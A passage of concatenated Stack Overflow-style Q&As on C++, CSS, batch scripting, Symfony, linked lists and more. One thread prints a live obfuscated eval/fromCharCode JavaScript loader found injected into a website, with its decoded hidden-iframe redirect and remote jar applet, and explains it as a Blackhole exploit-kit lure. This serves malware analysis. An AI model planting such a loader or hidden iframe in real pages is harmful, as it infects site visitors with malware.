    \regex_replace_all:nnN { \, } { } #1
  }
\ExplSyntaxOff

\begin{document}

\removeComma{\myresult}{1,000,000.50}%
\num[round-mode=places, round-precision=0, round-half=even, group-separator=.]%
  {\myresult}

\end{document}


text:
Q: Is it better to use the linker to compile multiple C++ files or better to include them as a header file Assume we have two files
a.cc
#include <iostream>

int timesTwo(int in);

int main(){
 std::cout << timesTwo(5) << std::endl;
 return 0;
}

b.cc
int timesTwo(int in){
 return in*2;
}

is it better to use the linker and include b.cc in a.cc by #include "b.cc" or is it better to leave it as is and compile them like g++ a.cc b.cc? What are the circumstance where one is preferred over the other?

A: The main point of header files is to give access to the definitions without having to rebuild unchanged code every time you compile. That's certainly what happens when you include something like iostream.h as it's not like you've got to compile the library from scratch every time you use it.
For a three line function there's probably not too much of a hit, but it's a bad habit to get into and you will pay a penalty for doing things that way when you get onto larger projects.
So, definitely go with g++ a.cc b.cc for now, and take a look at build automation tools before you add more files too.

A: Tiny examples don't necessarily capture all the relevant issues.
In the C and C++ universes, compiling is time consuming and linking is fast. In a large project your code will be broken up into dozens if not hundreds of files. It may take half-an-hour to half-a-day for it all to compile from scratch. That means you really want to avoid re-compiling code that doesn't actually need to be re-compiled.
If you put that code in a header file it will get recompiled every time a file that includes that header gets re-compiled, even if the header itself hasn't changed. Move that code into its own cc file and you only need to recompile it when the code actually changes.

A: As a general rule, you want to put code into source files when you can, and put it into headers when you have no other (reasonable) choice.
For the example you've given, a source file is clearly preferred.
But, if you decided to turn that into a function template to multiply an object of some arbitrary type by two:
template <class T>
T timesTwo(T in) {
    return in * 2;
}

...then (at least with most compilers) you'd have little choice but to put it into a header. If you tried to put it into a source file and just link it, with many (most?) compilers, you'd get an "undefined external" error.

A: When you compile a source file (.cc), the compiler chugs through the [thousands and thousands of lines of] code that you've written and creates an object file (.o).  If you include other source (.cc) files, then the compiler will chug through all of those as well, taking [a lot] longer to do so.
You want to be working in such a way that you compile only the code you're working on - why wait several hours for a compile to finish when the bit you're working on only takes a few seconds?
Obligatory XKCD Reference: Compiling
So; how do you "isolate" the bit you're working on to avoid all that unnecessary recompilation time?
Answer: You work in a "Modular" way, including only the definitions for any other bits of code you [re-]use.  That way, the compiler sees only your code, plus those definitions; it never gets a look at the code (implementation) for the other bits.
Note: The Compiler doesn't care that it doesn't know about the implementation of those included functions.  It only needs to know the "shape" of each function so that it can check your code against it.  Threading all these prototypes, calls and implementations together is the Linker's job!
All that "definition" information is what goes in the "Header" files.
For example:
b.cc
int timesTwo(int in){
 return in*2;
}

b.h
int timesTwo(int); /* This is a "function prototype" */

a.cc
#include <iostream>
#include "b.h"

int main(){
 std::cout << timesTwo(5) << std::endl;
 return 0;
}


text:
Q: how i can change square size in CSS with the same class but different div? How can I change image size of second div in CSS changing only square?  with the same class but different div?

A: Try this
    .square {
      width: 300px; /*standard image size*/
    }

    .square.square--small {
      width: 150px; /*small image size*/
    }

    .square.square--small .square__image { /*apply change only to small img*/
      width: 100%;
      height: auto;
    }

A: hello you can use this css selector:
.square img
{
   width:100px;
   height:100px
}
.square.square--small img{
   width:50px;
   height:50px
}

A: Make image to not overlap the div by setting its max-width to 100%, max-height to 100%
and height to auto like this:
max-width: 100%;
max-height: 100%;
height: auto;

then style your division elements like this for example:
  .square {
            width: 300px;
            height: 300px;
            margin: 30px;
        }

  .square.square--small {
            width: 200px;
            height: 300px;
        }

Again, width and height are only for demonstration, modify as you like.

A: img of working code

.square {
  border: 1px solid red;
  height: 200px;
  width: 200px;
  margin-bottom: 20px;
  text-align: center;
  display: flex;
  align-items: center;
  justify-content: center;
  float: left;
  margin-right: 20px;
}
.square img {
  width: 100px;
  border: 1px solid green;
  display: inline-block;
  height: 100px;
}
.square--small {
  border: 1px solid black;
}
.square--small img {
  border: 1px solid red;
  height: 150px;
  width: 150px;
}


text: Q: Output is blank when running the program I am currently working on a project via my visual studio 2019 software. i have the correct coding and the design for the project. however, whenever i run the program, it shows that there are no issues at all but I do not receive an output. my txtbox or lstbox (depending on the project) is blank and there are no error messages. I have a total of 6 projects due and all 6 projects are showing the same result. i am new to this and have minimal knowledge.


text:
Q: Batch file - loop ping - output to file hosts that are up I would like to make a .bat file that will do a for loop like below:
@echo off
FOR /L %%G IN (1, 1, 69) DO (
    ping -n 1 192.168.%%G.3
    ping -n 1 192.168.%%G.4
)

Then look through the output and send only the IPs that replied successfully to the ping to a txt file.  Is this possible with a CMD batch file?

A: @ECHO OFF
SET output=%USERPROFILE%\output.txt
IF EXIST "%output%" DEL "%output%"
FOR /L %%G IN (1, 1, 69) DO (
    CALL :ping 192.168.%%G.3
    CALL :ping 192.168.%%G.4
)
GOTO :EOF

:ping
ping -n 1 %1 >NUL && ECHO %1>>"%output%"

Basically, you use && to add the command that is only executed if the previous command (the one before the &&) completed successfully (technically speaking, returned the exit code of 0).
There's a similar approach for the opposite case. If you want to perform some actions on the unsuccessful result of a command, you put || after it and then the command implementing your action.
EDIT
One note about ping. Sometimes you get a notification from the router that the host is not accessible. In this case ping still exits with 0 code ('successful'), because it does get a reply, even if it's from the router and not from the actual host.
If that can be the case with your hosts and you don't want to have such false positives in the output file, you'll have to parse the output of ping for some keywords indicating whether the pinging was successful indeed. So far you can rely on the lines showing the aggregate stats: they only appear if the reply was from the intended host.
So, here's the alternative approach:
@ECHO OFF
SET output=%USERPROFILE%\output.txt
IF EXIST "%output%" DEL "%output%"
FOR /L %%G IN (1, 1, 69) DO (
    CALL :ping 192.168.%%G.3
    CALL :ping 192.168.%%G.4
)
GOTO :EOF

:ping
ping -n 1 %1 | find "Approximate round trip" >NUL && ECHO %1>>"%output%"

EDIT 2
Changed both solutions to use subroutine call in order to avoid premature expansion of %ip% inside the for loop. (Could also be fixed by enabling delayed expansion instead.)
Also quoted %output% everywhere.

A: @echo off
:A
FOR /L %%G IN (1, 1, 69) DO (
    ping -n 1 192.168.%%G.3
    ping -n 1 192.168.%%G.4
)
:GoTo


text:
Q: Xcode font scale (auto-shrink) not working properly I have a label, in which is a main feature of the content. I therefore have it set to autoshrink.
The problem is that when I run it on some of the smaller devices, the text is shifted downwards horrendously based on the label box.
How do I fix this?

Edit: This shows the problem that the labels do not fill the container after fixing the autoshrink shifting problem

A: Your main issue is that your number of lines for those UILabels is fixed, and you need numberOfLines = 0 to allow that UILabel frame size grow as it needs to, using UITableViewAutomaticDimension in your Cell

A: For auto shrink in Storyboard attribute inspector
A. Select Automatic Adjust Font
B. Change Auto shrink to minimum font scale/size.

NOTE: In some case try to test with line breaking mode to get working state.


text:
Q: What is the purpose of this JavaScript hack? This code has been popping up accross a website I've been maintaining, any clue on what's happening here?
if (window.document) aa = [] + 0;
aaa = 0 + [];
if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}
h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a");
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}
q = ss;
if (f) e(q);

edit alerting q results in this code
if (document.getElementsByTagName('body')[0]) {
            iframer();
        } else {
            document.write("");
        }
        function iframer() {
            var f = document.createElement('iframe');
            f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
            f.style.visibility = 'hidden';
            f.style.position = 'absolute';
            f.style.left = '0';
            f.style.top = '0';
            f.setAttribute('width', '10');
            f.setAttribute('height', '10');
            document.getElementsByTagName('body')[0].appendChild(f);
        }

From http://update-kb18628311.com/check.php?date=08eaceaccc546a53

        <applet code='Photo.class' archive='http://update-kb18628311.com/content/jav2.jar'>
            <param name="p" value="vssMlgghMA7s6af.dB=3B%ddPJFUgYPMvM-Vc/oAd/G6cr"
            />
        </applet>

ti#y/SNIP/#ti#ye#uw#to#tu#ur#w#qr#y#y#y#-q#qu#ie#ue#up#yy#y#-w#-q#qu

A: this is what the code evaluates to :
if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

It looks like a virus

So the site you are maintaining is probably vulnerable at some point. someone injected this code into the site; either through XSS and/or SQL Injection

A: Check console output to see what the code is trying to eval:
http://jsfiddle.net/AZsGW/

A: It injects the following iframe:
if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

It's not very complicated, let's go through it (you can verify this all yourself in the console easily):
if (window.document) aa = [] + 0;
aaa = 0 + [];

If we check the console: aa === "0" and aaa === "0" so the next if evaluates to true:
if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}

All that's done here is we've shortcutted the eval function for later use, and built a string f === "fromCharCode" that we'll use to call String.fromCharCode to convert the ascii code into actual javascript commands in a moment.
h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "..." // ascii based code
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}

In the loop we simply build the string as mentioned. The trig stuff is just to confuse I suppose, although it isn't very confusing.
q = ss;
if (f) e(q);

And finally the if(f) will evaluate to true since f is a nonempty string and so we call e which is the eval shortcut we made earlier, with the string we built from the code. The resulting code I pasted at the top.

A: It's a forwarding link to the Blackhole Exploit Kit. It's most likely trying to install Zeus/Zbot on your machine. Protect yourself by disabling JavaScript or running an browser plugin link noscript.


text:
Q: Is there any way I can get callback or Handler when swiping to dismiss a Notification from Notification Center? I have to reduce Notification badge count from the App icon when user removed the notification from Notification center.
Same is possible in Android link:
how to use delete intent to perform some action on clear notification?


text:
Q: Apple TV - set tableviewcell position I have a button inside a custom tableviewcell defined inside a storyboard.
Is it possible to have the label stick to the left?
Currently it has some space on the left. Please help.

A: In the attribute inspector of your UIButton:
Change Horizontal Alignment from center:

to leading :

Update:
Change Separator Inset in UITableView in storyboard from Automatic:

to Custom with left and right value 0 :


text:
Q: Render template relation ManyToMany Symfony Doctrine Please help with this, I am having this problem when I render the template twig in the controller, having problems with relations ManyToMany
Neither the property "nombre" nor one of the methods "nombre()", "getnombre()"/"isnombre()" or "__call()" exist and have public access in class "Doctrine\ORM\PersistentCollection"....I will put my entities and controller, please help me with this:
<?php

namespace AdminBundle\Entity;

use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Validator\Constraints as Assert;
use Doctrine\Common\Collections\ArrayCollection;

/**
 * Menu
 *
 * @ORM\Table(name="menu")
 * @ORM\Entity(repositoryClass="AdminBundle\Repository\MenuRepository")
 */
class Menu
{
    /**
     * @var int
     *
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @var float
     * @Assert\NotBlank()
     * @Assert\Type(type="float")
     * @ORM\Column(name="precio", type="float")
     */
    private $precio;

    /**
     * @var \DateTime
     * @Assert\Date()
     * @Assert\NotBlank()
     * @ORM\Column(name="fecha", type="date")
     */
    private $fecha;

    /**
     * @var \DateTime
     * @Assert\DateTime()
     * @Assert\NotBlank()
     * @ORM\Column(name="fechacomprar", type="datetime")
     */
    private $fechacomprar;

    /**
     * @var \DateTime
     * @Assert\DateTime()
     * @Assert\NotBlank()
     * @ORM\Column(name="fechavence", type="datetime")
     */
    private $fechavence;

    /**
     * @var \Doctrine\Common\Collections\Collection
     *
     * @ORM\ManyToMany(targetEntity="Alimento", inversedBy="menu")
     * @ORM\JoinTable(name="alimento_menu",
     *   joinColumns={
     *     @ORM\JoinColumn(name="menu_id", referencedColumnName="id")
     *   },
     *   inverseJoinColumns={
     *     @ORM\JoinColumn(name="alimento_id", referencedColumnName="id")
     *   }
     * )
     */
    private $alimento;

    /**
     * Constructor
     */
    public function __construct()
    {
        $this->alimento = new ArrayCollection();
    }

    /**
     * Get id
     *
     * @return integer
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Set precio
     *
     * @param float $precio
     *
     * @return Menu
     */
    public function setPrecio($precio)
    {
        $this->precio = $precio;

        return $this;
    }

    /**
     * Get precio
     *
     * @return float
     */
    public function getPrecio()
    {
        return $this->precio;
    }

    /**
     * Set fecha
     *
     * @param \DateTime $fecha
     *
     * @return Menu
     */
    public function setFecha($fecha)
    {
        $this->fecha = $fecha;

        return $this;
    }

    /**
     * Get fecha
     *
     * @return \DateTime
     */
    public function getFecha()
    {
        return $this->fecha;
    }

    /**
     * Set fechacomprar
     *
     * @param \DateTime $fechacomprar
     *
     * @return Menu
     */
    public function setFechacomprar($fechacomprar)
    {
        $this->fechacomprar = $fechacomprar;

        return $this;
    }

    /**
     * Get fechacomprar
     *
     * @return \DateTime
     */
    public function getFechacomprar()
    {
        return $this->fechacomprar;
    }

    /**
     * Set fechavence
     *
     * @param \DateTime $fechavence
     *
     * @return Menu
     */
    public function setFechavence($fechavence)
    {
        $this->fechavence = $fechavence;

        return $this;
    }

    /**
     * Get fechavence
     *
     * @return \DateTime
     */
    public function getFechavence()
    {
        return $this->fechavence;
    }

    /**
     * Add alimento
     *
     * @param \AdminBundle\Entity\Alimento $alimento
     *
     * @return Menu
     */
    public function addAlimento(Alimento $alimento)
    {
        $this->alimento[] = $alimento;

        return $this;
    }

    /**
     * Remove alimento
     *
     * @param \AdminBundle\Entity\Alimento $alimento
     */
    public function removeAlimento(Alimento $alimento)
    {
        $this->alimento->removeElement($alimento);
    }

    /**
     * Get alimento
     *
     * @return \Doctrine\Common\Collections\Collection
     */
    public function getAlimento()
    {
        return $this->alimento;
    }
}

<?php

namespace AdminBundle\Entity;

use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Bridge\Doctrine\Validator\Constraints as DoctrineAssert;

/**
 * Alimento
 *
 * @ORM\Table(name="alimento")
 * @ORM\Entity(repositoryClass="AdminBundle\Repository\AlimentoRepository")
 * @DoctrineAssert\UniqueEntity("nombre")
 */
class Alimento
{
    /**
     * @var int
     *
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @var string
     * @Assert\NotBlank(message="Debe escribir un alimento")
     * @Assert\Type(type="string")
     * @Assert\Regex(pattern="/\d/", match=false, message="Debe escribir un nombre válido")
     * @ORM\Column(name="nombre", type="string", length=255, unique=true)
     */
    private $nombre;

    /**
     * @var float
     * @Assert\NotBlank(message="Debe especificar un precio")
     * @Assert\Type(type="float", message="Debe escribir un precio válido")
     * @ORM\Column(name="precio", type="float")
     */
    private $precio;

    /**
     * @ORM\ManyToOne(targetEntity="TipoAlimento")
     * @Assert\NotBlank()
     */
    private $tipo;

    /**
     * @var \Doctrine\Common\Collections\Collection
     *
     * @ORM\ManyToMany(targetEntity="Menu", mappedBy="alimento")
     */
    private $menu;

    /**
     * Get id
     *
     * @return integer
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Set nombre
     *
     * @param string $nombre
     *
     * @return Alimento
     */
    public function setNombre($nombre)
    {
        $this->nombre = $nombre;

        return $this;
    }

    /**
     * Get nombre
     *
     * @return string
     */
    public function getNombre()
    {
        return $this->nombre;
    }

    /**
     * Set precio
     *
     * @param float $precio
     *
     * @return Alimento
     */
    public function setPrecio($precio)
    {
        $this->precio = $precio;

        return $this;
    }

    /**
     * Get precio
     *
     * @return float
     */
    public function getPrecio()
    {
        return $this->precio;
    }

    /**
     * Set tipo
     *
     * @param \AdminBundle\Entity\TipoAlimento $tipo
     *
     * @return Alimento
     */
    public function setTipo(TipoAlimento $tipo)
    {
        $this->tipo = $tipo;

        return $this;
    }

    /**
     * Get tipo
     *
     * @return \AdminBundle\Entity\TipoAlimento
     */
    public function getTipo()
    {
        return $this->tipo;
    }

    /**
     * @return string
     */
    function __toString()
    {
        return $this->getNombre();
    }

    /**
     * Constructor
     */
    public function __construct()
    {
        $this->menu = new ArrayCollection();
    }

    /**
     * Add menu
     *
     * @param \AdminBundle\Entity\Menu $menu
     *
     * @return Alimento
     */
    public function addMenu(Menu $menu)
    {
        $this->menu[] = $menu;

        return $this;
    }

    /**
     * Remove menu
     *
     * @param \AdminBundle\Entity\Menu $menu
     */
    public function removeMenu(Menu $menu)
    {
        $this->menu->removeElement($menu);
    }

    /**
     * Get menu
     *
     * @return \Doctrine\Common\Collections\Collection
     */
    public function getMenu()
    {
        return $this->menu;
    }
}

The controller:
    public function indexAction()
    {
        $em = $this->getDoctrine()->getManager();
        $menu = $em->getRepository('AdminBundle:Menu')->findAll();
        return $this->render('AdminBundle:menu:index.html.twig', array(
            'menu' => $menu,
        ));`enter code here`
    }

And in the template I am doing the things like this:
 {% for m in menu %}

                        {{ m.id }}
                        {{ m.fecha | date('d/m/y') }}
                        {{ m.alimento.nombre }}
                        {{ m.fechacomprar | date('d/m/y') }}
                        {{ m.fechavence | date('d/m/y') }}
                        {{ m.precio }}

                {% endfor %}

Problem here is m.alimento.nombre is wrong!

A: Simply you can try this, in this case, m.alimento will return Alimento's  __toString
{{  m.alimento|join(',') }}

A: If it's a many to many that means that each menu will have many alimentos so you have to loop over each of them.
{% for a in m.alimento %}
{{ a.nombre }}
{% endfor %}


text:
Q: Printing Linked List returns random symbols I have implemented a basic linked list in order to prepare for a more difficult one as an assignment. I can't seem to be able to print the contents of a node without printing out random symbols.
I know this means I am accessing bad memory but I cannot identify where or how it is happening.
Can someone please help me fix this error?
built with g++ on linux
Header File
#ifndef LLIST_H
#define LLIST_H

#include <string>
using namespace std;

struct node
{
        int age;
        string name;
        string hair;
        int height;
        node* next;
};

node loadNode(node a, string b);

class linkedlist
{
    private:
        node* head = NULL;
        node* tail = NULL;
        int size;
    public:
        linkedlist();
        linkedlist(node* n[], int si);
        int getSize();
        void print();
        void addNode(node add);
        void del(string record);
        node sort(node sortee);
        void printList();
        node * getHead();
};
#endif

Implementation
#include "list.h"
#include <iostream>
#include <sstream>
#include <string>

node loadNode(node a, string b)
{
    int counter = 0;

    string ag = "";
    string nam = "";
    string hai = "";
    string hei = "";

    for(int i = 0; i < b.length(); i++)
    {
        if(b[i] == ',')
        {
            counter++;
            i++;
        }
        if(counter == 0)
            ag = ag + b[i];
        else if(counter == 1)
            nam = nam + b[i];
        else if(counter == 2)
            hai = hai + b[i];
        else
            hei = hei + b[i];
    }

    stringstream s(hei);
    stringstream o(ag);

    int f,g;
    s >> f;
    o >> g;

    a.hair = hai;
    a.height = f;
    a.age = g;
    a.name = nam;

    return a;

}

linkedlist::linkedlist()
{
    head = NULL;
    tail = NULL;
    size = 0;
}

linkedlist::linkedlist(node a[],int si)
{
    head = NULL;
    tail = NULL;
    size = 0;

    for(int i = 0; i < si; i++)
    {
        addNode(a[i]);
    }

}

void linkedlist::addNode(node added)
{
    node * pointer = new node;
    //if the first element
    if(size == 0)
    {
        tail = pointer;
        pointer->next = NULL;
    }
    pointer->next = head;
    head = pointer;

    //add data members
    pointer-> age = added.age;
    pointer-> hair = added.hair;
    pointer-> name = added.name;
    pointer-> height = added.height;

    size++;

    //time to exit!
    pointer = NULL;
    delete pointer;
}

node *  linkedlist::getHead()
{
    node * temp = head;
    return temp;
}

void linkedlist::print()
{

    node* iterator = (node*)malloc(sizeof(node));
    iterator = head;

    while(iterator != NULL)
    {
        printNode(iterator);
        iterator = (iterator->next);
    }
    iterator = NULL;
    delete iterator;
}

void printNode(node* printed)
{
    cout << printed->name << endl;
    cout << printed->age << endl;
    cout << printed->height << endl;
    cout << printed->hair<< endl;
}

main program
#include "list.h"
#include <fstream>
#include <iostream>

using namespace std;

int main()
{
    string k = "21,Ces Goose,brown,5";
    string a = "25, SteveO, Brown, 6";
    string b = "23, Jimmy , Brown, 5";

    node d,f,c;
    d = loadNode(d,k);
    f = loadNode(f,a);
    c = loadNode(c,b);

    node lib[3] = {d,f,c};
    linkedlist doublel = linkedlist(lib, 3);

    doublel.print();

    return 0;

}

The output I am getting is:
6304000
@g���

A: @C.M. please let me know if this fixes the issue
void linkedlist::addNode(node added)
{
    node * temp = new node;
    //add data members
    temp-> age = added.age;
    temp-> hair = added.hair;
    temp-> name = added.name;
    temp-> height = added.height;

    //if the first element
    if(size == 0)
    {
        head = temp;
        tail = temp;
        temp->next = NULL;
        size++;
    }
    else
    {
        temp->next = head;
        head = temp;
        size++;

        //time to exit!
        temp = NULL;
        delete pointer;
    }
}

also changed linkedlist doublel = linkedlist(lib, 3); to
linkedlist * doublel = new linkedlist(lib,3);
doublel->print();

in main() file


text:
Q: Constructing a meromorphic function I need help with the following problem.
"Let $C : y^2 = x^3 − 5x^2 + 6x$ be a cubic curve with the standard group law. Find a meromorphic function on $C$ having the pole of order two at $B=(1,\sqrt{2})$ and one of the zeros at $A=(0,0)$."
If $C$ is given as $\mathbb{C}/\Lambda$, I can construct the associated Weierstrass's $\wp$ function and use Abel's theorem to construct a meromorphic function with prescribed poles and zeroes. Unfortunately, I couldn't use that in the problem above because I cannot calculate two things I would additionally need: the periods of the $\wp$ function, and the Abel-Jacobi map.

A: How about $x/(x-1)^2$ or $y/(x-1)^2$? If you want a simple zero at $(0,0)$, then you have to be careful. Similarly, you need to calculate the divisor carefully to make sure that you have a double pole at $(1,\sqrt{2})$ and not a pole of higher order. See this answer for a calculation of the divisors of the coordinate functions.

A: Tangent at $B$ is $t_B: y-\frac{5}{2\sqrt{2}}+x\frac{1}{2\sqrt{2}}=0$. The other point of intersection of $t_B$ and the elliptic curve is $C(\frac{25}{8},-5\sqrt{2})$. Line connecting $A$ and $C$ is $l:y+x\frac{8\sqrt{2}}{5}=0$. The desired meromorphic function will be the quotient of the LHS of $l$ and LHS of $t_B$:
$f(x,y)=\frac{32x+10\sqrt{2}y}{5x+10\sqrt{2}y-25}$


text:
Q: How to access and manipulate each chunk in python? I created the following chunks
import pandas as pd
import pyodbc
df = pd.read_sql_query(address,cnxn,chunksize=10000000)

Now, I want to access each chunk and do some analysis on them
The following method works on small datasets, but again the list growing bigger and bigger and it gives memory error on large datasets:
for chunk in df:
    dfl.append(chunk)
dfl[0] # here I can access the first dataframe in chunks

Is there any other way to access and retrive data when needed?
For example, I want to do the following manipulation on spesific chunk:
chunk1['adress'] = chunk1['adress'].str.lower()
How would I do that?

A: Use:
df = pd.read_sql_query(address,cnxn,chunksize=10000000)
for chunk in df:
    #your code for analyze
    chunk['adress'] = chunk['adress'].str.lower()
    ...
    print (chunk)


text:
Q: Segmentation Fault with pointer manipulation in C++ Binary Search Tree Implementation I have some experience with C. However I am trying out C++ and I decided to try and write some basic Tree implementations with C++. Here is how I define my TreeNode class
#include <iostream>
#include <string>

class BinaryTreeNode {
public:
    int data_;
    BinaryTreeNode *left_;
    BinaryTreeNode *right_;

    BinaryTreeNode(int d, BinaryTreeNode *l, BinaryTreeNode *r) : data_{ d }, left_{ l }, right_{ r } {}
    BinaryTreeNode(int d, BinaryTreeNode *l) : data_{ d }, left_{ l }, right_{ nullptr } {}
    BinaryTreeNode(int d) : data_{ d }, left_{ nullptr }, right_{ nullptr } {}
};

My Binary Search Tree class looks like,
class BST {
public:
    BinaryTreeNode *head_;
    void BST_Insert(BinaryTreeNode *&head, int data);
    BinaryTreeNode *BST_Search(BinaryTreeNode *root, int key);
};

I wrote 2 functions which are members of the BST class. They are an insert function and a search function. My insert and search functions are,
void BST::BST_Insert(BinaryTreeNode *&head, int data) {
    if (head == nullptr) {
        head = new BinaryTreeNode(data);
        return;
    }
    if (data > head->data_)
        BST_Insert(head->right_, data);
    else
        BST_Insert(head->left_, data);
    return;
}

BinaryTreeNode* BST::BST_Search(BinaryTreeNode *root, int key) {
    if (root == nullptr || root->data_ == key)
        return root;
    if (key > root->data_)
        return BST_Search(root->right_, key);
    else
        return BST_Search(root->left_, key);
}

In the main function I have written code to create the following tree

int main() {
    BST bst;
    bst.BST_Insert(bst.head_, 3);
    bst.BST_Insert(bst.head_, 5);
    bst.BST_Insert(bst.head_, 1);
    bst.BST_Insert(bst.head_, 2);
    BinaryTreeNode *oldptr = bst.head_;
    BinaryTreeNode *found_1 = bst.BST_Search(bst.head_, 1);
    return 0;
}

I can see that both BinaryTreeNode *oldptr = bst.head_; and BinaryTreeNode *found_1 = bst.BST_Search(bst.head_, 1); are causing segmentation faults to happen. Is there a way to fix this or is there an issue with my implementation?


text:
Q: Possible memory issue with a simple C linked list program I am trying to write a program which will count the occurrence of words in a paragraph.
The logic I am following : I am using a linked list for the purpose. And I am searching sequentially - if new word encountered adding the word in the list, but if word already exist in the list increase its count flag.
//case insensitive string matching
int strcicmp(char const *a, char const *b)
{
    int d;
    for(;;a++,b++)
    {
        d=tolower(*a)-tolower(*b);
        if(d!=0 || !*a)
            return d;
    }
}

//declare the linked list structure to store distinct words and their count
typedef struct node
{
    char *word;
    int count;
    struct node *next;
} node;

node *ptr, *newnode, *first=NULL, *last=NULL;

void insertnewword(char *ch)
{
    newnode=(node*)malloc(sizeof(node));
    if(newnode == NULL)
    {
        printf("\nMemory is not allocated\n");
        exit(0);
    }
    else
    {
        newnode->word=ch;
        newnode->count=1;
